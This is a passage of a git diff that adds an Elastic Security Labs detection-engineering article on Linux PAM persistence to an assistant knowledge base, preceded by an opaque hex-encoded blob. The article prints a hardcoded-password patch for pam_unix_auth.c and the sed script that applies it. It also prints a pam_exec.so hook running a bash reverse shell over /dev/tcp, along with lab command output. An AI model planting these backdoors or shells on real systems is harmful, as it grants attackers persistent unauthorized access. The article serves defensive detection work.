987e78752ab0cffc3afee0a8b7e465111de7ace0fa91b173e309fd42d801dd857c2b2368baf45c6b8322952ffab60087bddcd8a4a2581da7149a405d55c95215556b0b2848fa2589ac954f683bb7231aa28d4af85a58ad86fbb05bab11cdea43ad998da2a9dbd70ee26e3a72d649e19c2ff74aded168dafc776152f2a6f8bf3b2b344d2f0682dd987308d3bc043ef4987c45062fc0cf4ded9b0d3474a4748cbdb97c39976ccd45070e6d288f3b92155f65365631d7739cf59ac29d7f79d690583c1adc3e310a23310acd669b565f148257215069be7ca7887b2ed2eb3038c175b9996bca4a55535aa54f820f7019032faa694e6e1d1e359c80c4119be4c86a265876d493d3885bf4a2eb0de52a01487d213271e1ab533ae8385f7fc5711f2d0b7c3303363f5c568a26e25ec46311cd9761219c3da2a7230464e763c2121c531a2b9fba5005eb5251ec7a40d42f5341db99998e87f3793694b22aee1cb2888dbccc98d2ba2fbedaf09672bb2256b511fd59641e886b1308aa470f2c0ba8659b88b580ae53db092f9e33fbe07c510360635858a2ef0f3a28fa845690225aa508bbf3d55e977a3cf18d632f0ec557bdfccd0a8421fb889c31ef1858daa0c5876ab7dff9c74c4ecc97ec45b228e605d7876393cf56d0f5ddbca0123765355c50d66c221eb2bedf240b92e21ff20183fa673232f8bce2dadda41979eb4df14d5d29e22c6e5126e579acbe81d228040909337758c129078443db758693b9b63015caf722c42d519aabce12c52c4d7c07b9fdb7425aa066fa22ebef895c5647074555976a6c0ace921f86d731a73dbbbcbbf64c8d3f66907063f6f8c65982489424fcf0d5445d572994a42bb7325c7b6f7a6379bf53318877ac3d1341b55684c226b31fcd06ad77ce853cee37fa7371ac66dfdae671734b7265fed20b4d799225e9cdab7a9d157bb5fbf0028d48696822824b77475f703200a61f2e97b69e5065a6d6e849488c06d14fcd33f78531cdfe4e10829942ceeff12f2b1fce932c0dfdd68de1587a531f120d0709f267f5f5cd06fcb2ab5ecf158dbae5454a9802c1ae61322eacfac604ba708a693e5a66ecabfe05b3cce5f5d794081429c037d0bb566207723da4a2484e59a8d883ad47465496ab9ad3cd29fd5c0a98485bed730a583b547a878fc617843e1f59e923baaefaccb59aa09fd93b2aed7143660876d52464dc60117c7ff88bf90dd476a05086fc26799d20ed0e8d28367b7592170ec05e4e3014268eeec5594b26786b0464cecd280e4d14a799d743491d7254a46cb422c081d8d8c5ea741326660377f5125aeca5299d3ecf65944a2503180e934b13c94d7c79e6216502a5a8c2432be6997443ddcf88e051a3859e583f9d9818ddf967793ae7d975cc6b8a4e75521cdc3671bab91fdf062ac10bc716172a32a0dc4f06385210074ca0f6607cb171fece10a7a58772f3908a758a9087774f5218624dbde6ecb110fc1ece724522675418775ff8461fb352482e8b587d3491014176a9ee776f5cbb8b49b84108ef7322dc5faae834a56ec6d9ef2b800745d2d7cfca3a84f0234dfd6c1ea0c8fdbdd973fa414ae20239ce2a3f5752b4cb97afa07cdc33dec652686bcf8885bc12789fefbc2becfc45e91a89f7a212fbe36c79a3fbd4af2c895f2a5285ddd910bf54476c3d9288f7fb0c4916f7cd9a3a128aab3b1022b202333f20ec7bdf44a7739214dcff609d3940da1cd97a47f55d9e030edb86e57674748cbdb97c39976ccd45070e6d288f3b92155f65365631d7739cf59ac29d7f79d690583c1adc3e310a23310acd669b565f148257215069be7ca7887b2ed2eb3038c175b9996bca4a55535aa54f820f7019032faa694e6e1d1e359c80c4119be98f96d92034e9466147aac037fdaf61fbab92115a4b8d43563d16912b21d600251dba27b154da248308bcc90e624d52ef96497cc013c095bc23a9f6198a8be1ff6892de8e8cb0dca8f30909a9d95884d49268ca54bb4e2a9124b9c9490df092f3587199de130a3c5cd5cea2d1585e748bf2563406d046f8039c6e9ca34b4e444ee7431592242c2378d3aeee3fb8c8a55355153f84b6a9f25baf954172c60d838fcee170da82984f509bdd359384bcde1bc6ef9dee5067065c07fc9151666a3d1c9650ea25ce3965ed43a54135bff7b76871c524cdff9873ea02793f78f2146147f1d8481d28c40db410a875526ddb281e64c2a1d2a3ee9e27f9dd9f41eb5ed348200690d7dac0d8de1e96dcc83add56d5527e3c20285cc693a638aa18c70b40a077627fb24ddaf40de0c2ff3ac57ffe9554c3d77a30170b0d8547fd505f9159466207723da4a2484e59a8d883ad47465496ab9ad3cd29fd5c0a98485bed730a51f15a48508d98d8a2bf51f9463fa1eccbf0b1fe41d14c86d8d1e2d34b9ad84a97c115b7e7d5491eecf384d043d462d1d64f64b01ee70b179ca490239ca95980de5c99181e42ccd8831462767138cee44c67f57708d9393a3a4583ffa6627ddf8f346d51540f6efbedaf0de2b1f42465374555976a6c0ace921f86d731a73dbbbcdf13a91ef5fc8e0d263e76fd5f4d554bd752db06afbc5590875aa6d336c9166641d125e2fbf889891c31c393c0328b2150936dcf61d5511542200d2ea1637a86aec5078ca1b18792b656d7cda949d6b8ef135b43b6fc3eccac53b0bbaa214dd0ca568ee25d479803924e53e42a9867ddbe9ea41d7a4a23fb7741e84a00cbb988e2b7bdce49966c463698e5b442c933bd8fdd7949bf5b90817bb57e7503bfe2f56ea89d90502aaa75749143e94d82624b27959fcc2aa84eb986c082f2d9d857f1f91197a63a0f7c1f4be6329fa3e0750dfcfd4774c9c1c6e1dee42665e24eac92bb9b76751ffa145bbb9adbf1be6deae59261e0b7ab8ff6c911ac05e8d1054a8dd5b741725ee018680d29171dff24c6c50a34cada59f6efceb3708281d54805650b82614282eb0e26b67839d40eab1206f4e1eb62ae4147feed55db08e17ed6254910af53be6189d170c2eeb52c3eb34e7271f5f151913af4dfe2b784cd2b5d3138af6882e4b76c6449afcac38f483225ce70b75703047f31c0fc79f33b5c02f793a0600ef09fcbf7213a104a6869c91ec8ad08e362a1111dd027b29e1ddb08375d268866d69f64f404f3a039d7c431eea1747d80eab6d1bfcca51c263a867445a70d3fdc5576f8cff0aeb9c33fd3967aa491472d7c66156f91f8d48af03cd7c182239ae5fa0e17c43828d7b94488939ef896e0e2a62d20aa25c7ba15a8c9653bf55d0d7d01d85bec74eb3237966254d52b457a0b777957a2a8f323bf1b003cd42d64123b8d8fb921e2b68f97ec5982c4115f017ad8a0a76ad110aada10b7317a98cf3c4f9ace7fcbd9236b6377282b184486e1a0479c1aee0f9840f062ff09297d0457744c486eee6383533f9957fd1ed91cafbda561d276872ea6091129995c8126bc98b56481a07208aed9d9b97477025d5182fcf0ccf6f8d447b0517aa7a2bbaddc206acc3de4d7d2727bf41d665f02d416eec1d99fcc15bd342b7f4a956289aad7ebf2724d9a19fd950106194fc1dabb0a47e4ffbcc24c150ab540ee7d697e272dc84b88c8b71e9ff75b20080e9cedc3eaf45c592d7db724e454213f4d73f055adbb1f818aba2541e2759f59950793d546f3029a24dc213212910fd8c04088a328a289a9d7e74df558f5c32641b3a94f49ab67459b09b3dc718b5acf82d8d0f570c81faa711a07be1369ae097629ce7064dc08ab798ddb4a1196ddfff8ed4690a66f144397e4d38b8ae2d4e75b2e5915ccfc2f27acc00a088372794d55968d4f6fe61ac115404717677912dcd406473db814ecdb747009e2ac126a9913038965d78c082867fcb605245e95e75810ff3a2d09ad2ce5257e1ef2dfdc10af103e9278d4c55635d53710a36c4651e5e99ec85d9bea79a49fa98c81f6571e117a7edabdec77bfa5e6fd004f5816a4386db52e588a39ac071f6a10c31e6b5573d03edb9bac041d8ef5dcea00a8acc5b43aa59328e3a6488b13617ac48cd13f7266f8de7f0d2733350846c9be18b93ed929ac6db50d9fe9fddffca1a0ae2a2e4a5ef65e7cb0fe2d93fea15938d0333e9c804c0413827b7a33a625abbbc13421d17e9022019e4049ddac0eb83e6fff425d14e5b423a1be46cd8e60b880cfa5fb23366a72d2ab10053f38c4106e44096fdf72b0645fd57d3a6e1b8e26dd2057ce304712f18e3ef071833f1d909e9e014fc86f902440448a2b9b459ada8c3feb1b61a842d6e8a499eb206c246c163137740f55198091062f3e7d397ce6971254d5637c34a672fe319ff697ad09a502afb7887efe05961aa7ed9d8f1327772cbc58117265a8ff3e8312c9d29ca7a50b92e5c159ebcb08e557bbc97854695092db1bd181e3f3726f56a81ec14a66095b8eee83ebd00c790a4bc5bf256fd9e91dd1509e1d0bd4d4a3192efa39730aa2b06552167d2bcaeacd72414bca4f27e22695aaa3f798f2d46ceab29ca4db3e2a275a3b3c7cd528390a1a3e2b5b50df9b4217e5d8fa820ca872cad8959c1a7132d142c618f83f3b71bf06c72a1bc0b7a7bf0ac12b8be237d772e9d51703ad772eacfdf27fa7ce86e3bbb49d9de5a012671fd0bf034e19759a187841147690d2b5df721bf0e66fd60e18c9fa9c15c26752f87bbf213c44e998c9e826d778b41d72a2d0add609ee36cfda13a5147945ecdbe046d874c74db62f0df9bc4b3fff280a587c5bffad880592c4749792afe7a9c0574494fcb2bf759d0111dea815cf4f40061db6495df6c78b46e9b6fd46459f8b0333cff6bfbb7119098ac321d43e798ac551c1c93666dd906571510912765851fbd0f7beb44705987ba93974905b28f804108af7857c71d13b66234aeea2572e66f4e3bfe2449f2825f1a321b00a919755257138efab5d2950a51b9f41a10775a2c25b288211fb56b94b59f6f6de6e7f39be45996d1ce170037e9e77721d392de16dbd726e3a330fd9ff366ac2112c9b08bb439ddf1f2c98e13323132312543ac02b542ac0c6a23b5bc60206b375f776172aaa1520bda048c4491c87e288a0e674593f63d560f15026ec09d17458c08ec22b87ed727adcfc18854c6efd177bdf948c1164293b8ce3388d8fd072ba1cdf3b36288f0bbab4bfc130404b3aba40bb42d9ffddb1042967b0b3dea3417a4c03a5587a1b2fa868d2371fcecedd7b423dc6339e9174bc2c1b5d7b71c4945e13334b9531077767463ea4baf447b2fcebd22f9e58f3e12826e58fee149a119b65379d12ef8667db7603e1d4dab28d60464edda8f3e3d4937329e81250b02a75e31312057cf3fa49b5a6c8287c23dd92db31dab0f1692b0df5db534fd31ae13b526675920a3756aa4c294da2b0bb6e96d209a6f2ce5945b42bdfc8675179bbd72b20c59c076f136fc3a1178bc4bf9a7a1a455791b73ac6cb209dd80d6c19ef992ab0504b1d239a927a6f39aefbbd07c11d23d2cafe4b5ef133392f87eefe1b88ffb050e4ffde4abc18745a01bec5b0244a9403f227ab11688eef9f8a46a88b3ee585469caf37c6544f2773843d7ed15f908a7f2c0d8fd2031c0bf6e6f4bac8df76ecfc468f7f14111c99b5cc80640ea9cb4cce7fd923e894e6d3a92e4293b759ff08669bd931537639e091321760ac15b4f56a74ee0d3ea0f28d3cc1d62db49bb707529b0608d9322df72b9f6881c66aed9514e0cc32aed8ae95fa214e4682fa254d2e15dd5116c5cdae1d8a83c4c8c18bdeab3b1456f1588e536db30da13aa8016b05a13ee6a069ff6ab7d93b57b6b4177c6a32b09bc8cafc12b5da2d83757653f033e0f18c77ba9496dd38a56c680048fbe264be9f0d2e9d46ce9baabd6343c619aa58b88821d8222a14b96671d3c4c087f04dfa69387ed1cc6189a1cec10cb04e0be965c893175b320daccd977ccb255181d954a1403e21e89f3249a77ba78f6ea9e18619620dcaa7e486e068524abc499cc118638993de8652835daa141f58088e9ca05b09344b0a541ef0e5dbd9cb0b3d6bd0b1b0667aed3cb769f309bd63249bb34b7394d44a1334e259064f79ecf519ee51bda0734af98f5f1a68790501425b362e850873facbfbe232a9b4bc849e4d59bb3e7193cc5f79474b1560bf200b23592006652eb8656039b90761131cb8f3e0f749b271d4ce6448b6008017f8213137b0484e5d3920416c61298e3c80a0f317e3252340aa7ccc24a56c92dabdc4c07b48cef36c91537911b4f521cc58944e0cd85681b5fdeb9a7d515ebb122d1a9c43bc330470da994d6f00c0db69a6eae9ce36cd8a26ee42b25ce181864ce3dac7b8d75a1e5dc2cf54d9c2a48d205fe54fc7d204dbd14b8318a9fd020a5e206c47711cd648d2799c3c54d505c0fb993dd24b62b574a094acbeab393bf681224fe2cf8d084ed1fda56fe51ec23df0dc85bbcf7d8435438da6dd66ad0e015861dca72a588485278fa4b7c40643f7fc30dae97c9b541f4c46af83a77adfd63a4ba51a9e00c872d1edf21802286c4f6bf246d2cfb1f4f37c2d17acf353cee5380993d35ac97e96dc9ffb6b68c3a85ffb660723e5ec1eb37839576685aa70bfc869208ad3e1a376b60fcb0dacd1a357324e9f73db6aa5c0a2e173f607d847c84d05da986691cea88962f10feef4c7daf447c856b55603d09c650e36b9f771a42db48803c90458270af4c3b9a6269df1ff271062aaa4d805079ec803769e5b368097ee3f0393d72f9ca551921d290d812d6a44d9ad80c07b5fa5aba8f7119c5b94a933bde41b5faa5e8acb4f875db6ecb11bd571d9c4618d333b2bebaedb2c02427edba77ccffc7d0a8ca7a3a428c9f78d1d49ce798ef15ce0814d07628bf43d97d0267ee39aa9853c034595c34be6ce64deaa876fd882e695e497a06a91ba5ca0121b5f99f8e96801dd857c2b2368baf45c6b8322952ff751fad4b5e2d519adff84cea25b8a10ab2b5599fd3b30c3c1dfedc80044a8f4104b59db14b6ea705478066830e22368a71d89c0c35ae41e43f5373e814709a006eb300d8cc7e8bf648795e9fb43188758364c95b80f5b74aac8d7f5d5c22fdb660d7443b416b50b79acac7b3f2f3fa56d03260069ac6fb31ed5f61e09123e62fbe1156505bd257a1f21ca277c36b0d5a9abd451301b68857d4f33468aab5ad6a587f833f4557ef6522563c1cd2b8d4a67ad2648eb5b7760e1931bcf1838a2e507d3da9fd94acc183227c8389f3a79dcfb0419dcc247fcf4d0f5caf444afbc82641f565c7cc4d4dfa415b2296eb7e5aadc706fccbcded0421efd319c0c5d5bcf9b374a3c4d49f07dcc85055923b3ede34a06da89a454d51bdec5b37c22effe717c21a66769441876cf68d6167375f92a800d61edb8cbc44fd55fc7ddbb28d4c4ffdf1b7bc1ed78de55c8ca6e15d066a341817a197f470268e87fa19eb709a5e98b566ef2affabbb771790190987cf20d76f228924352d39ef641d690ab1b041350024038f0007bcf6d9fdf1dae362e12c1f3f506b665ba9b44a0470478e1605c1a564508f265cbe8a1db625a185211f6c0217c1c9ee0e325928d2ddbe5755c1f2b340f72cbc1d2f777ee7bbf14fc03e56 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/approaching_the_summit_on_persistence.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/approaching_the_summit_on_persistence.md new file mode 100644 index 0000000000000..b7b7d29127cf7 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/approaching_the_summit_on_persistence.md @@ -0,0 +1,625 @@ +--- +title: "Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms" +slug: "approaching-the-summit-on-persistence" +date: "2025-02-11" +description: "Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms." +author: + - slug: ruben-groenewoud +image: "Security Labs Images 32.jpg" +category: + - slug: security-research +--- + +# Introduction + +Welcome to part four of the Linux Persistence Detection Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms. + +If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here: + +* [*Linux Detection Engineering - A Primer on Persistence Mechanisms*](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms) +* [*Linux Detection Engineering - A Sequel on Persistence Mechanisms*](https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms) +* [*Linux Detection Engineering - A Continuation on Persistence Mechanisms*](https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms) + +In this publication, we’ll provide insights into: + +* How each works (theory) +* How to set each up (practice) +* How to detect them (SIEM and Endpoint rules) +* How to hunt for them (ES|QL and OSQuery reference hunts) + +To make the process even more engaging, we will be leveraging [PANIX](https://github.com/Aegrah/PANIX), a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities. + +By the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Let’s dive in\! + +# Setup note + +To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to [enable and update our pre-built detection rules](https://www.elastic.co/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules). If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started. + +# T1556.003 - Modify Authentication Process: Pluggable Authentication Modules + +[Pluggable Authentication Modules (PAM)](https://www.redhat.com/en/blog/pluggable-authentication-modules-pam) are a powerful framework used in Linux to manage authentication-related tasks. PAM operates as a layer between applications and authentication methods, allowing system administrators to configure flexible and modular authentication policies. These modules are defined in configuration files typically found in `/etc/pam.d/`. + +PAM modules themselves are shared library files commonly stored in the following locations: + +* `/lib/security/` +* `/lib64/security/` +* `/lib/x86_64-linux-gnu/security/` +* `/usr/lib/security/` +* `/usr/lib64/security/` +* `/usr/lib/x86_64-linux-gnu/security/` + +These locations house modules that perform authentication tasks, such as validating passwords, managing accounts, or executing scripts during authentication. While PAM provides the essential capability to centralize how secure authentication happens, its flexibility can be abused by attackers to establish persistence through malicious PAM modules. By introducing custom modules or modifying existing configurations, attackers can manipulate authentication flows to capture credentials, manipulate logging to evade detection, grant unauthorized access, or execute malicious code. + +This is a common technique, and some examples include the open-source [Medusa](https://github.com/ldpreload/Medusa) and [Azazel](https://github.com/chokepoint/azazel) rootkits, and by malwares such as [Ebury](https://attack.mitre.org/software/S0377/), and [Skidmap](https://unit42.paloaltonetworks.com/linux-pam-apis/) to establish persistence, capture credentials, and maintain unauthorized access. MITRE ATT\&CK tracks this technique under the identifier [T1556.003](https://attack.mitre.org/techniques/T1556/003/). + +## T1556.003 - Pluggable Authentication Modules: Malicious PAM + +Malicious PAM modules are custom-built, malicious shared libraries designed to be loaded during the PAM authentication process. Although there are many different ways to establish a PAM backdoor, in this section we will showcase how PAM can be patched to allow for backdoor SSH access. + +Commonly, PAM backdoors will patch the `pam_unix_auth.c` file, which is part of the `pam_unix` module, a widely used PAM module for UNIX-style password authentication. An open-source example of this is the [linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) by [zephrax](https://github.com/zephrax). The typical code that is run to verify the password of a user requesting authentication, looks as follows: + +```c +/* verify the password of this user */ +retval = _unix_verify_password(pamh, name, p, ctrl); +name = p = NULL; +``` + +The original code calls the `_unix_verify_password` function to validate the provided password (`p`) against the stored password for the user (`name`). The full source code is available [here](https://github.com/linux-pam/linux-pam/blob/fc927d8f1a6d81e5bcf58096871684b35b793fe2/modules/pam_unix/pam_unix_auth.c). + +A threat actor may patch this code, and introduce an additional check. + +```c +/* verify the password of this user */ +if (strcmp(p, "_PASSWORD_") != 0) { + retval = _unix_verify_password(pamh, name, p, ctrl); +} else { + retval = PAM_SUCCESS; +} +``` + +The code now checks: + +* If the provided password (`p`) is not equal to the string literal `"_PASSWORD_"`, it proceeds to call `_unix_verify_password` for standard password validation. +* If the password is `"_PASSWORD_"`, it skips the password verification entirely and directly returns `PAM_SUCCESS`, indicating successful authentication. + +The patch introduces a hardcoded backdoor password. Any user who enters the password `"_PASSWORD_"` will bypass normal password verification and be authenticated successfully, regardless of the actual password stored for the account. + +### Persistence through T1556.003 - Pluggable Authentication Modules: Malicious PAM + +We will be leveraging the [setup_pam.sh](https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh) module from PANIX to test this technique and research potential detection opportunities. This patch is easily implemented by downloading the PAM source code for the correct PAM version from the [linux-pam](https://github.com/linux-pam/linux-pam/releases) GitHub repository, looking for the line to replace, and replacing it with your own hardcoded password: + +```bash +echo "[+] Modifying PAM source..." +local target_file="$src_dir/modules/pam_unix/pam_unix_auth.c" +if grep -q "retval = _unix_verify_password(pamh, name, p, ctrl);" "$target_file"; then + sed -i '/retval = _unix_verify_password(pamh, name, p, ctrl);/a\ + if (p != NULL && strcmp(p, "'$password'") != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; }' "$target_file" + echo "[+] Source modified successfully." +else + echo "[-] Target string not found in $target_file. Modification failed." + exit 1 +fi +``` + +After which we can compile the shared object, and move it to the correct PAM directory. + +Now let’s run the [setup_pam.sh](https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh) module. This technique requires several compilation tools and downloading a specific Linux-PAM release. Execute the following PANIX command to inject a malicious module. + +``` +> sudo ./panix.sh --pam --module --password persistence + +[+] Determining PAM version... +[+] Detected PAM Version: '1.3.1' +[+] Downloading PAM source... +[+] Download completed. Extracting... +[+] Extraction completed. +[+] Modifying PAM source... +[+] Source modified successfully. +[+] Compiling PAM source... +[+] PAM compiled successfully. +[+] Detecting PAM library directory... +[+] Backing up original PAM library... +[+] Copying PAM library to /lib/x86_64-linux-gnu/security... +[+] Checking SELinux status... +[+] Rogue PAM injected! +You can now login to any user (including root) with a login shell using your specified password. +Example: su - user +Example: ssh user@ip + +[+] PAM persistence established! +``` + +Let’s analyze the events of interest in Discover. Due to the huge load of events originating from compiling PAM source, these events are sorted from oldest (top) to newest (bottom). + +![PANIX Malicious PAM module execution visualized in Kibana - part 1](/assets/images/approaching-the-summit-on-persistence/image4.png) + +Upon execution of PANIX, we can see `dpkg` being used to discover the running PAM version, followed by a `curl` execution to download the linux-pam source for this identified version. After extracting the `tar` archive, PANIX continues to modify the `pam_unix_auth.c` source code to implement the backdoor. + +Once the above steps are completed, the following events occur (sorted from newest (top) to oldest (bottom)): + +![PANIX Malicious PAM module execution visualized in Kibana - part 2](/assets/images/approaching-the-summit-on-persistence/image1.png) + +The `pam_unix.so` file is compiled, and moved to the correct directory (in this case `/lib/x86_64-linux-gnu/security`), overwriting the existing `pam_unix.so` file and successfully activating the backdoor. + +Let's review the coverage: + +*Detection and endpoint rules that cover Malicious PAM persistence* + +| Category | Coverage | +| :---- | :---- | +| File | [Creation or Modification of Pluggable Authentication Module or Configuration](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml)
    [Pluggable Authentication Module Creation in Unusual Directory](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation_in_unusual_dir.toml)
    [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) | +| Process | [Pluggable Authentication Module Version Discovery](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/discovery_pam_version_discovery.toml)
    [Pluggable Authentication Module Source Download](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_source_download.toml) | +| Authentication | [Authentication via Unusual PAM Grantor](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_unusual_pam_grantor.toml) | + +To revert any changes made to the system by PANIX, you can use the corresponding revert module by running: + +``` +> ./panix.sh --revert pam + +[+] Searching for rogue PAM module +[+] Restored original PAM module '/lib/x86_64-linux-gnu/security/pam_unix.so'. +[+] Restarting SSH service... +[+] SSH service restarted successfully. +``` + +### Hunting for T1556.003 - Pluggable Authentication Modules (Malicious PAM) + +Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the “*Hunting for T1053 \- scheduled task/job*” section of “[*Linux Detection Engineering \- A primer on persistence mechanisms*](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms)”. Additionally, descriptions and references can be found in our [Detection Rules repository](https://github.com/elastic/detection-rules), specifically in the [Linux hunting subdirectory](https://github.com/elastic/detection-rules/tree/main/hunting). + +We can hunt for PAM persistence through [ES|QL](https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html) and [OSQuery](https://www.elastic.co/guide/en/kibana/current/osquery.html), focusing on file creations (as this technique requires the compilation of modified PAM components) and modifications to PAM-related files and directories. The approach includes monitoring for the following: + +* **Creations and/or modifications to PAM configuration files:** Tracks changes to files in the `/etc/pam.d/` and `/lib/security/` directories and the `/etc/pam.conf` file, which are commonly targeted for PAM persistence. + +By combining the [Persistence via Pluggable Authentication Modules](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_pluggable_authentication_module.md) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1556.003](https://attack.mitre.org/techniques/T1556/003/). + +## T1556.003 - Pluggable Authentication Modules: pam_exec.so + +The `pam_exec.so` module, part of the PAM framework, allows administrators to execute external commands or scripts during the authentication process. This flexibility is powerful for extending authentication workflows with tasks like logging, additional security checks, or notifications. However, this same capability can be exploited by attackers to log passwords or execute backdoors, enabling malicious scripts to run when users authenticate. + +To understand how `pam_exec.so` can be configured, consider the following excerpt from `/etc/pam.d/common-auth`, a file that defines the authentication scheme for Linux systems: + +```py +# /etc/pam.d/common-auth - authentication settings common to all services + +# Primary modules +auth [success=1 default=ignore] pam_unix.so nullok_secure + +# Fallback if no module succeeds +auth requisite pam_deny.so + +# Ensure a positive return value if none is set +auth required pam_permit.so +``` + +This file controls how authentication is processed for all services. Each line defines a module and its behavior. For instance: + +* The `auth` keyword indicates that the module operates during the authentication phase. +* Control flags, like `[success=1 default=ignore]`, specify how PAM interprets the module's result. For example, `success=1` skips the next module if the current one succeeds. +* The `requisite` flag immediately denies authentication if the module fails: + * `auth requisite pam_deny.so` +* The `required` flag ensures the module must succeed for authentication to proceed, though subsequent modules in the stack will still execute: + * `auth required pam_permit.so` + +Modules such as `pam_unix.so` handle traditional UNIX authentication by validating user credentials against `/etc/shadow`. Together, these components define the authentication process and dictate how the system responds to various conditions. For more information and examples, visit the [pam.d man page](https://linux.die.net/man/5/pam.d). + +One way of abusing this mechanism is by leveraging the `pam_exec.so` module to execute an arbitrary script upon authentication through `/etc/pam.d/sshd`. By providing the path to a backdoor script on the host system, we can ensure that our backdoor is executed on every successful SSH authentication. [Group-IB](https://www.group-ib.com/) wrote about this technique in a recent publication dubbed “[*The Duality of the Pluggable Authentication Module (PAM)*](https://www.group-ib.com/blog/pluggable-authentication-module/)”. + +A second method involves the modification of `/etc/pam.d/common-auth` for Debian-based systems or `/etc/pam.d/sshd` for Fedora-based systems to log user credentials. This technique was earlier discussed in [Wunderwuzzi’s blog](https://embracethered.com/blog/) called “[*Post Exploitation: Sniffing Logon Passwords with PAM*](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)”. While capturing credentials isn't technically a persistence mechanism, it enables ongoing access to a host by leveraging stolen credentials. + +In the next section we will take a look at how to implement arbitrary command execution through `pam_exec.so` using PANIX. + +### Persistence through T1556.003 - Pluggable Authentication Modules: pam_exec.so + +To better understand the technique, we will take a look at the [setup_pam.sh](https://github.com/Aegrah/PANIX/blob/main/modules/setup_pam.sh) PANIX module. + +``` +echo -e "#!/bin/bash\nnohup setsid /bin/bash -c '/bin/bash -i >& /dev/tcp/$ip/$port 0>&1' &" > /bin/pam_exec_backdoor.sh + +chmod 700 /bin/pam_exec_backdoor.sh + +pam_sshd_file="/etc/pam.d/sshd" +pam_line="session optional pam_exec.so seteuid /bin/pam_exec_backdoor.sh" +``` + +The first step is to create the backdoor script to execute, this can be any C2 beacon, reverse shell or other means of persistence. PANIX creates a simple reverse shell and grants it execution permissions. Once the backdoor in `/bin/pam_exec_backdoor.sh` is in place, the `/etc/pam.d/sshd` file is modified. The `session` keyword ensures the script runs during user session setup or teardown, while `seteuid` ensures the script runs with the effective user ID (`eUID`) of the authenticated user instead of root. + +Since the detection methods for the password harvesting module are quite similar to those of the backdoor module, we will focus on discussing the backdoor module in detail. You are encouraged to explore the [password-harvesting module](https://github.com/Aegrah/PANIX/blob/7a9cf39b35b40ee64bfe6b510f685003ebc043ae/modules/setup_pam.sh#L257) on your own\! + +Let’s run the PANIX module with the following command line arguments: + +``` +> sudo ./panix.sh --pam --pam-exec --backdoor --ip 192.168.100.1 --port 2015 + +[+] Creating reverse shell script at /bin/pam_exec_backdoor.sh... +[+] /bin/pam_exec_backdoor.sh created and permissions set to 700. +[+] Modifying /etc/pam.d/sshd to include the PAM_EXEC rule... +[+] PAM_EXEC rule added to /etc/pam.d/sshd. +[+] Restarting SSH service to apply changes... +[+] SSH service restarted successfully. +[+] PAM_EXEC reverse shell backdoor planted! + +Authenticate to trigger the reverse shell. + +[+] PAM persistence established! +``` + +After triggering the reverse shell by authentication, we can analyze the logs in Discover: + +![PANIX pam_exec.so module execution visualized in Kibana](/assets/images/approaching-the-summit-on-persistence/image3.png) + +After PANIX executes, it creates and grants execution permissions to the `/bin/pam_exec_backdoor.sh` backdoor. Next, the backdoor configuration is added to the `/etc/pam.d/sshd` file, and the `SSHD` service is restarted. Upon authentication, we can see the execution of the backdoor by the `SSHD` parent process, starting the reverse shell chain (`pam_exec_backdoor.sh` → `nohup` → `setsid` → `bash`). + +Let’s review the coverage. The key distinction between this technique and the previous one is that this method relies on configuration changes rather than compiling a new PAM module, requiring a different set of detection rules to address the threat effectively: + +*Detection and endpoint rules that cover pam_exec.so persistence* + +| Category | Coverage | +| :---- | :---- | +| File | [Creation or Modification of Pluggable Authentication Module or Configuration](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_pluggable_authentication_module_creation.toml)
    [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) | +| Process | [Potential Backdoor Execution Through PAM_EXEC](https://github.com/elastic/protections-artifacts/blob/8a9e857453566068088f5a24cc1f39b839e60fe8/behavior/rules/linux/persistence_potential_backdoor_execution_through_pam_exec.toml)
